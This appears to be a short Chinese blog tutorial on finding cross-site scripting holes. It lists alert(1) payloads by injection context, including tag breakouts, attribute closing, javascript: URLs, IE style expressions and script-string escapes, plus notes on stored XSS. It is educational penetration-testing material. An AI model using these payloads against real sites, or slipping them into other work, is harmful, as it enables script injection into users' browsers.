XSS盲打

XSS的查找:绕过过滤机制,利用服务端错误的编码方式

例:url:http//www.foo.com/xss.php?id=1

HTML标签之间

<div>[输出]</div> //xsspayload:<script>alert(1)</script>
标签之间无法执行脚本,要先闭合掉对应的标签。此类标签有:
<title></title>
<textarea></textarea>
<xmp></xmp>
<iframe></iframe>
<noscript></noxcript>
<noframes></noframes>
<plaintext></plaintext>
//xsspayload:</title><script>alert(1)</script>

HTML标签之内

作为一般属性值
<input type="text" value="[输出]" />
//xsspayload:
        闭合属性:"onmouseover=alert(1) x="
        闭合属性后闭合标签:"><script>alert(1)</script>
输出在URL等src/herf/action等属性
xsspayload:
    各种闭合
    使用伪协议(前提是payload出现在属性url的开头部分):
         javascript:alert(1)
         如果网站过滤了/'"等特殊字符
         javascript:alert(1)-//利用JavaScript逻辑与算数运算符
         window.onerror = function(){return true;}//抑制浏览器报错
输出在事件

需区分是作为整个事件还是某个函数参数

输出在style属性内

xsspayload:IE下注入expression关键值:1;xss:expression(if(!window.x){alert(1);window.x=1;})
效果如下:

JavaScript代码的值

<script>a="[输出]";....</script>
xsspayload:
    闭合标签:</script><script>alert(1)// 闭合变量的值引用:";alert(1)// (如果//被过滤可以使用逻辑与算术运算符来代替)

成为CSS代码的值

与输出在style属性内一样

存储型XSS

一般是表单的提交,然后进入服务器端存储,最终在某个页面上输出。(找输出点)

你可能感兴趣的:(XSS盲打)